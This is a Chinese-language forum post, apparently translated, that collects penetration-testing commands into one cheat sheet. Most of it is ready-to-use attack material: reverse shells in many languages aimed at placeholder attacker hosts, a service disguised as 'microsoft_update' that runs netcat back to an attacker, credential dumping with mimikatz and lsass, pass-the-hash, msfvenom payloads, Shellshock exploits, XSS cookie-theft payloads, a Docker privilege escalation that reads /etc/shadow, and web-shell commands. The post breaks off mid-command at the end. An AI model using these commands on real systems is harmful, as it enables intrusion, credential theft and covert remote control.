[渗透技巧] 干货分享--渗透测试工具实战技巧合集

本文为作者总结自己在渗透测试中常用的一些小技巧。原文分为两部分,译者将其合二为一,方便大家查阅。
 

最好的 NMAP 扫描策略
  1. # 适用所有大小网络最好的 nmap 扫描策略

  2. # 主机发现,生成存活主机列表
  3. $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
  4. $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

  5. # 端口发现,发现大部分常用端口
  6. # http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
  7. $ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
  8. $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
  9. $ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

  10. # 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢
  11. $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
  12. $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

  13. # 显示 TCP\UDP 端口
  14. $ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
  15. $ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

  16. # 侦测服务版本
  17. $ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

  18. # 扫做系统扫描
  19. $ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

  20. # 系统和服务检测
  21. $ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt
复制代码
Nmap – 躲避防火墙
  1. # 分段
  2. $ nmap -f

  3. # 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等)
  4. $ nmap --mtu 24

  5. # 生成随机数量的欺骗
  6. $ nmap -D RND:10 [target]

  7. # 手动指定欺骗使用的 IP
  8. $ nmap -D decoy1,decoy2,decoy3 etc.

  9. # 僵尸网络扫描, 首先需要找到僵尸网络的IP
  10. $ nmap -sI [Zombie IP] [Target IP]

  11. # 指定源端口号
  12. $ nmap --source-port 80 IP

  13. # 在每个扫描数据包后追加随机数量的数据
  14. $ nmap --data-length 25 IP

  15. # MAC 地址欺骗,可以生成不同主机的 MAC 地址
  16. $ nmap --spoof-mac Dell/Apple/3Com IP
复制代码
Nmap 进行 Web 漏洞扫描
  1. cd /usr/share/nmap/scripts/
  2. wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
  3. nmap -sS -sV --script=vulscan/vulscan.nse target
  4. nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
  5. nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
  6. nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
  7. nmap -sV --script=vuln target
  8. nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
复制代码
使用 DIRB 爆破目录
 
注:DIRB 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑等等。
  1. dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
复制代码
Patator – 全能暴力破解测试工具
  1. # git clone https://github.com/lanjelot/patator.git /usr/share/patator
  2. # SMTP 爆破
  3. $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
  4. $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
  5. $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
  6. $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'
复制代码
使用 Fierce 爆破 DNS
注:Fierce 会检查 DNS 服务器是否允许区域传送。如果允许,就会进行区域传送并通知用户,如果不允许,则可以通过查询 DNS 服务器枚举主机名。类似工具:subDomainsBrute 和 SubBrute 等等
  1. # http://ha.ckers.org/fierce/
  2. $ ./fierce.pl -dns example.com
  3. $ ./fierce.pl –dns example.com –wordlist myWordList.txt
复制代码
使用 Nikto 扫描 Web 服务
  1. nikto -C all -h http://www.70sec.com
复制代码
扫描 WordPress
  1. git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
  2. ./wpscan –url http://www.70sec.com/ –enumerate p
复制代码
HTTP 指纹识别
  1. wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
  2. cd httprint_301/linux/
  3. ./httprint -h http://www.70sec.com -s signatures.txt
复制代码
使用 Skipfish 扫描
注:Skipfish 是一款 Web 应用安全侦查工具,Skipfish 会利用递归爬虫和基于字典的探针生成一幅交互式网站地图,最终生成的地图会在通过安全检查后输出。
  1. skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://www.70sec.com
复制代码
使用 NC 扫描
  1. nc -v -w 1 target -z 1-1000
  2. for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
复制代码
Unicornscan
  1. 注:Unicornscan 是一个信息收集和安全审计的工具。

  2. us -H -msf -Iv 192.168.56.101 -p 1-65535
  3. us -H -mU -Iv 192.168.56.101 -p 1-65535

  4. -H 在生成报告阶段解析主机名
  5. -m 扫描类型 (sf - tcp, U - udp)
  6. -Iv - 详细
复制代码
使用 Xprobe2 识别操作系统指纹
  1. xprobe2 -v -p tcp:80:open www.70sec.com
复制代码
枚举 Samba
  1. nmblookup -A target
  2. smbclient //MOUNT/share -I target -N
  3. rpcclient -U "" target
  4. enum4linux target
复制代码
枚举 SNMP
  1. snmpget -v 1 -c public IP
  2. snmpwalk -v 1 -c public IP
  3. snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
复制代码
实用的 Windows cmd 命令
  1. net localgroup Users
  2. net localgroup Administrators
  3. search dir/s *.doc
  4. system("start cmd.exe /k $cmd")
  5. sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
  6. /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
  7. mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
  8. Procdump.exe -accepteula -ma lsass.exe lsass.dmp
  9. mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
  10. C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系统
  11. C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系统
复制代码
PuTTY 连接隧道
转发远程端口到目标地址
  1. plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP
复制代码
Meterpreter 端口转发
  1. # https://www.offensive-security.com/metasploit-unleashed/portfwd/
  2. # 转发远程端口到目标地址
  3. meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
  4. kali > rdesktop 127.0.0.1:3389
复制代码
开启 RDP 服务
  1. reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
  2. netsh firewall set service remoteadmin enable
  3. netsh firewall set service remotedesktop enable
复制代码
关闭 Windows 防火墙
  1. netsh firewall set opmode disable
复制代码
Meterpreter VNC\RDP
  1. # https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/
  2. run getgui -u admin -p 1234
  3. run vnc -p 5043
复制代码
使用 Mimikatz
获取 Windows 明文用户名密码
  1. git clone https://github.com/gentilkiwi/mimikatz.git
  2. privilege::debug
  3. sekurlsa::logonPasswords full
复制代码
获取哈希值
  1. git clone https://github.com/byt3bl33d3r/pth-toolkit
  2. pth-winexe -U hash //IP cmd

  3. 或者

  4. apt-get install freerdp-x11
  5. xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

  6. 在或者

  7. meterpreter > run post/windows/gather/hashdump
  8. Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
  9. msf > use exploit/windows/smb/psexec
  10. msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
  11. msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
  12. msf exploit(psexec) > exploit
  13. meterpreter > shell
复制代码
使用 Hashcat 破解密码
  1. hashcat -m 400 -a 0 hash /root/70sec.txt
复制代码
使用 NC 抓取 Banner 信息
  1. nc 192.168.0.10 80
  2. GET / HTTP/1.1
  3. Host: 192.168.0.10
  4. User-Agent: Mozilla/4.0
  5. Referrer: www.70sec.com

复制代码
使用 NC 在 Windows 上反弹 shell
  1. c:>nc -Lp 31337 -vv -e cmd.exe
  2. nc 192.168.0.10 31337
  3. c:>nc example.com 80 -e cmd.exe
  4. nc -lp 80

  5. nc -lp 31337 -e /bin/bash
  6. nc 192.168.0.10 31337
  7. nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
复制代码
查找 SUID\SGID root 文件
  1. # 查找 SUID root 文件
  2. find / -user root -perm -4000 -print

  3. # 查找 SGID root 文件:
  4. find / -group root -perm -2000 -print

  5. # 查找 SUID 和 SGID 文件:
  6. find / -perm -4000 -o -perm -2000 -print

  7. # 查找不属于任何用户的文件:
  8. find / -nouser -print

  9. # 查找不属于任何用户组的文件:
  10. find / -nogroup -print

  11. # 查找软连接及其指向:
  12. find / -type l -ls
复制代码
Python shell
  1. python -c 'import pty;pty.spawn("/bin/bash")'
复制代码
Python\Ruby\PHP HTTP 服务器
  1. python2 -m SimpleHTTPServer
  2. python3 -m http.server
  3. ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :D
  4. ocumentRoot => Dir.pwd).start"
  5. php -S 0.0.0.0:8888
复制代码
获取进程对应的 PID
  1. fuser -nv tcp 80
  2. fuser -k -n tcp 80
复制代码
使用 Hydra 爆破 RDP
  1. hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
复制代码
挂载远程 Windows 共享文件夹
  1. smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
复制代码
Kali 下编译 Exploit
  1. gcc -m32 -o output32 hello.c (32 位)
  2. gcc -m64 -o output hello.c (64 位)
复制代码
Kali 下编译 Windows Exploit
  1. wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
  2. wine mingw-get-setup.exe
  3. select mingw32-base
  4. cd /root/.wine/drive_c/windows
  5. wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
  6. cd /root/.wine/drive_c/MinGW/bin
  7. wine gcc -o ability.exe /tmp/exploit.c -lwsock32
  8. wine ability.exe
复制代码
NASM 命令
注:NASM 全称 The Netwide Assembler,是一款基于80×86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性。
  1. nasm -f bin -o payload.bin payload.asm
  2. nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
复制代码
SSH 穿透
  1. ssh -D 127.0.0.1:1080 -p 22 user@IP
  2. Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
  3. proxychains commands target
复制代码
SSH 穿透从一个网络到另一个网络
  1. ssh -D 127.0.0.1:1080 -p 22 user1@IP1
  2. Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
  3. proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
  4. Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
  5. proxychains commands target
复制代码
使用 metasploit 进行穿透
  1. route add X.X.X.X 255.255.255.0 1
  2. use auxiliary/server/socks4a
  3. run
  4. proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

  5. 或者

  6. # https://www.offensive-security.com/metasploit-unleashed/pivoting/
  7. meterpreter > ipconfig
  8. IP Address  : 10.1.13.3
  9. meterpreter > run autoroute -s 10.1.13.0/24
  10. meterpreter > run autoroute -p
  11. 10.1.13.0          255.255.255.0      Session 1
  12. meterpreter > Ctrl+Z
  13. msf auxiliary(tcp) > use exploit/windows/smb/psexec
  14. msf exploit(psexec) > set RHOST 10.1.13.2
  15. msf exploit(psexec) > exploit
  16. meterpreter > ipconfig
  17. IP Address  : 10.1.13.2
复制代码
基于 CSV 文件查询 Exploit-DB
  1. git clone https://github.com/offensive-security/exploit-database.git
  2. cd exploit-database
  3. ./searchsploit –u
  4. ./searchsploit apache 2.2
  5. ./searchsploit "Linux Kernel"

  6. cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
复制代码
MSF Payloads
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST= X > system.exe
  2. msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=443 R > exploit.php
  3. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e -a x86 --platform win -f asp -o file.asp
  4. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
复制代码
MSF 生成在 Linux 下反弹的 Meterpreter Shell
  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -e -f elf -a x86 --platform linux -o shell
复制代码
MSF 生成反弹 Shell (C Shellcode)
  1. msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c
复制代码
MSF 生成反弹 Python Shell
  1. msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
复制代码
MSF 生成反弹 ASP Shell
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp -a x86 --platform win -o shell.asp
复制代码
MSF 生成反弹 Bash Shell
  1. msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -o shell.sh
复制代码
MSF 生成反弹 PHP Shell
  1. msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -o shell.php
  2. add
  3. perl -i~ -0777pe's/^/
复制代码
MSF 生成反弹 Win Shell
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -a x86 --platform win -o shell.exe
复制代码
Linux 常用安全命令
  1. # 使用 uid 查找对应的程序
  2. find / -uid 0 -perm -4000

  3. # 查找哪里拥有写权限
  4. find / -perm -o=w

  5. # 查找名称中包含点和空格的文件
  6. find / -name " " -print
  7. find / -name ".." -print
  8. find / -name ". " -print
  9. find / -name " " -print

  10. # 查找不属于任何人的文件
  11. find / -nouser

  12. # 查找未链接的文件
  13. lsof +L1

  14. # 获取进程打开端口的信息
  15. lsof -i

  16. # 看看 ARP 表中是否有奇怪的东西
  17. arp -a

  18. # 查看所有账户
  19. getent passwd

  20. # 查看所有用户组
  21. getent group

  22. # 列举所有用户的 crontabs
  23. for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

  24. # 生成随机密码
  25. cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4

  26. # 查找所有不可修改的文件
  27. find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

  28. # 使文件不可修改
  29. chattr -i file
复制代码
Windows 缓冲区溢出利用命令
  1. msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
  2. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

  3. COMMONLY USED BAD CHARACTERS:
  4. \x00\x0a\x0d\x20                              For http request
  5. \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)

  6. # 常用命令:
  7. pattern create
  8. pattern offset (EIP Address)
  9. pattern offset (ESP Address)
  10. add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

  11. !pvefindaddr pattern_create 5000
  12. !pvefindaddr suggest
  13. !pvefindaddr modules
  14. !pvefindaddr nosafeseh

  15. !mona config -set workingfolder C:\Mona\%p
  16. !mona config -get workingfolder
  17. !mona mod
  18. !mona bytearray -b "\x00\x0a"
  19. !mona pc 5000
  20. !mona po EIP
  21. !mona suggest
复制代码
SEH – 结构化异常处理
注:SEH(“Structured Exception Handling”),即结构化异常处理,是 windows 操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。
  1. # https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
  2. # http://baike.baidu.com/view/243131.htm
  3. !mona suggest
  4. !mona nosafeseh
  5. nseh="\xeb\x06\x90\x90" (next seh chain)
  6. iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
复制代码
ROP (DEP)

注:ROP(“Return-Oriented Programming”)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。

DEP(“Data Execution Prevention”)是一套软硬件技术,在内存上严格将代码和数据进行区分,防止数据当做代码执行。
  1. # https://en.wikipedia.org/wiki/Return-oriented_programming
  2. # https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B
  3. # https://en.wikipedia.org/wiki/Data_Execution_Prevention
  4. # http://baike.baidu.com/item/DEP/7694630
  5. !mona modules
  6. !mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
  7. !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)
复制代码
ASLR – 地址空间格局随机化
  1. # https://en.wikipedia.org/wiki/Address_space_layout_randomization
  2. # http://baike.baidu.com/view/3862310.htm
  3. !mona noaslr
复制代码
寻蛋(EGG Hunter)技术
Egg hunting这种技术可以被归为“分级shellcode”,它主要可以支持你用一小段特制的shellcode来找到你的实际的(更大的)shellcode(我们的‘鸡蛋‘),原理就是通过在内存中搜索我们的最终shellcode。换句话说,一段短代码先执行,然后再去寻找真正的shellcode并执行。– 参考自看雪论坛,更多详情可以查阅我在代码注释中增加的链接。
  1. # https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
  2. # http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf
  3. # http://www.fuzzysecurity.com/tutorials/expDev/4.html
  4. !mona jmp -r esp
  5. !mona egg -t lxxl
  6. \xeb\xc4 (jump backward -60)
  7. buff=lxxllxxl+shell
  8. !mona egg -t 'w00t'
复制代码
GDB Debugger 常用命令
  1. # 设置断点
  2. break *_start

  3. # 执行下一个命令
  4. next
  5. step
  6. n
  7. s

  8. # 继续执行
  9. continue
  10. c

  11. # 数据
  12. checking 'REGISTERS' and 'MEMORY'

  13. # 显示寄存器的值: (Decimal,Binary,Hex)
  14. print /d –> Decimal
  15. print /t –> Binary
  16. print /x –> Hex
  17. O/P :
  18. (gdb) print /d $eax
  19. $17 = 13
  20. (gdb) print /t $eax
  21. $18 = 1101
  22. (gdb) print /x $eax
  23. $19 = 0xd
  24. (gdb)

  25. # 显示特定内存地址的值
  26. command : x/nyz (Examine)
  27. n –> Number of fields to display ==>
  28. y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
  29. z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)
复制代码
BASH 反弹 Shell
  1. bash -i >& /dev/tcp/X.X.X.X/443 0>&1

  2. exec /bin/bash 0&0 2>&0
  3. exec /bin/bash 0&0 2>&0

  4. 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

  5. 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

  6. exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
  7. exec 5<>/dev/tcp/attackerip/4444

  8. cat <&5 | while read line; do $line 2>&5 >&5; done # or:
  9. while read line 0<&5; do $line 2>&5 >&5; done

  10. /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
  11. /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1
复制代码
PERL 反弹 Shell
  1. perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

  2. # Win 平台
  3. perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  4. perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
复制代码
RUBY 反弹 Shell
  1. ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

  2. # Win 平台
  3. ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  4. ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
复制代码
PYTHON 反弹 Shell
  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
复制代码
PHP 反弹 Shell
  1. php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
复制代码
JAVA 反弹 Shell
  1. r = Runtime.getRuntime()
  2. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  3. p.waitFor()
复制代码
NETCAT 反弹 Shell
  1. nc -e /bin/sh attackerip 4444
  2. nc -e /bin/sh 192.168.37.10 443

  3. # 如果 -e 参数被禁用,可以尝试以下命令
  4. # mknod backpipe p && nc attackerip 443 0backpipe
  5. /bin/sh | nc attackerip 443
  6. rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

  7. # 如果你安装错了 netcat 的版本,请尝试以下命令
  8. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f
复制代码
TELNET 反弹 Shell
  1. # 如果 netcat 不可用或者 /dev/tcp
  2. mknod backpipe p && telnet attackerip 443 0backpipe
复制代码
XTERM 反弹 Shell
  1. # http://baike.baidu.com/view/418628.htm
  2. # 开启 X 服务器 (:1 – 监听 TCP 端口 6001)
  3. apt-get install xnest
  4. Xnest :1

  5. # 记得授权来自目标 IP 的连接
  6. xterm -display 127.0.0.1:1

  7. # 授权访问
  8. xhost +targetip

  9. # 在目标机器上连接回我们的 X 服务器
  10. xterm -display attackerip:1
  11. /usr/openwin/bin/xterm -display attackerip:1
  12. or
  13. $ DISPLAY=attackerip:0 xterm
复制代码
XSS 备忘录
  1. url]https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  2. ("< iframes > src=http://IP:PORT ")



  3. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–>">'>

  4. ";!–"=&amp;{()}



  5. "">





  6. perl -e 'print "";' > out



  7. (">< iframes http://google.com < iframes >)



  8. ">
  9. %253cscript%253ealert(document.cookie)%253c/script%253e
  10. ">alert(document.cookie)
  11. %22/%3E%3CBODY%20οnlοad=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
复制代码
SSH Over SCTP (使用 Socat)
  1. # 远端服务器
  2. # 假设你准备让 SCTP socket 监听端口 80/SCTP 并且 sshd 端口在 22/TCP
  3. $ socat SCTP-LISTEN:80,fork TCP:localhost:22

  4. # 本地端
  5. # 将 SERVER_IP 换成远端服务器的地址,然后将 80 换成 SCTP 监听的端口号
  6. $ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

  7. # 创建 socks 代理
  8. # 替换 username 和 -p 的端口号
  9. $ ssh -lusername localhost -D 8080 -p 1337
复制代码
使用洋葱网络
  1. # 安装服务
  2. $ apt-get install tor torsocks

  3. # 绑定 ssh 到 tor 服务端口 80
  4. # /etc/tor/torrc
  5. SocksPolicy accept 127.0.0.1
  6. SocksPolicy accept 192.168.0.0/16
  7. Log notice file /var/log/tor/notices.log
  8. RunAsDaemon 1
  9. HiddenServiceDir /var/lib/tor/ssh_hidden_service/
  10. HiddenServicePort 80 127.0.0.1:22
  11. PublishServerDescriptor 0
  12. $ /etc/init.d/tor start
  13. $ cat /var/lib/tor/ssh_hidden_service/hostname
  14. 3l5zstvt1zk5jhl662.onion

  15. # ssh 客户端连接
  16. $ apt-get install torsocks
  17. $ torsocks ssh [email][email protected][/email] -p 80
复制代码
Metagoofil – 元数据收集工具
注:Metagoofil 是一款利用Google收集信息的工具。
  1. # http://www.edge-security.com/metagoofil.php
  2. # 它可以自动在搜素引擎中检索和分析文件,还具有提供Mac地址,用户名列表等其他功能
  3. $ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html
复制代码
利用 Shellshock
  1. # 一个发现并利用服务器 Shellshock 的工具
  2. # https://github.com/nccgroup/shocker
  3. $ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

  4. # 查看文件
  5. $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(

  6. # 绑定 shell
  7. $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

  8. # 反弹 Shell
  9. $ nc -l -p 443
  10. $ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80
复制代码
获取 Docker 的 Root
  1. # 获取  Docker 的 Root
  2. # user 必须在 docker 用户组中
  3. ek@victum:~/docker-test$ id
  4. uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

  5. ek@victum:~$ mkdir docker-test
  6. ek@victum:~$ cd docker-test

  7. ek@victum:~$ cat > Dockerfile
  8. FROM debian:wheezy

  9. ENV WORKDIR /stuff

  10. RUN mkdir -p $WORKDIR

  11. VOLUME [ $WORKDIR ]

  12. WORKDIR $WORKDIR
  13. << EOF

  14. ek@victum:~$ docker build -t my-docker-image .
  15. ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
  16. 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
  17. ./sh
  18. whoami
  19. # root

  20. ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'
复制代码
使用 DNS 隧道绕过防火墙
  1. # 让数据和命令使用 DNS 隧道传输以绕过防火墙的检查
  2. # dnscat2 支持从目标主机上面上传和下载命令来获取文件、数据和程序

  3. # 服务器 (攻击者)
  4. $ apt-get update
  5. $ apt-get -y install ruby-dev git make g++
  6. $ gem install bundler
  7. $ git clone https://github.com/iagox86/dnscat2.git
  8. $ cd dnscat2/server
  9. $ bundle install
  10. $ ruby ./dnscat2.rb
  11. dnscat2> New session established: 16059
  12. dnscat2> session -i 16059

  13. # 客户机 (目标)
  14. # https://downloads.skullsecurity.org/dnscat2/
  15. # https://github.com/lukebaggett/dnscat2-powershell
  16. $ dnscat --host
复制代码
编译 Assemble 代码
  1. $ nasm -f elf32 simple32.asm -o simple32.o
  2. $ ld -m elf_i386 simple32.o simple32

  3. $ nasm -f elf64 simple.asm -o simple.o
  4. $ ld simple.o -o simple
复制代码
使用非交互 Shell 打入内网
  1. # 生成 shell 使用的 ssh 密钥
  2. $ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
  3. $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
  4. $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

  5. # 增加用户 tempuser 
  6. $ useradd -m tempuser
  7. $ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
  8. $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
  9. $ chmod 700 /home/tempuser/.ssh/authorized_keys
  10. $ chown -R tempuser:tempuser /home/tempuser/.ssh

  11. # 反弹 ssh shell
  12. $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@"
复制代码
利用 POST 远程命令执行获取 Shell
  1. attacker:~$ curl -i -s -k  -X 'POST' --data-binary [b]以管理员身份在 Win7 上反弹具有系统权限的 Shell[/b][code]msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe

